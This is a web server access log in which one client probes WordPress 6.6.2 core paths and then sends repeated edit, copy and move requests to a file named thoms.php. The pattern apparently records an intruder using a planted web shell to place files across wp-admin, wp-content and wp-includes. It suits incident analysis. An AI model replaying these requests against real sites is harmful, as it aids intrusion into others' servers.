45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/interactivity-api/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/theme-compat/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/style-engine.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/atomlib.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/theme.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/sodium_compat/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-user.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class.wp-dependencies.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ms-network.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/option.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/session.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/theme.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:35 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/vars.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-taxonomy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-theme.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/sitemaps.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-parser.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22205 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21821 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22236 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22242 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22216 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22205 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-blog-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-load.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22203 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22206 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-mail.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
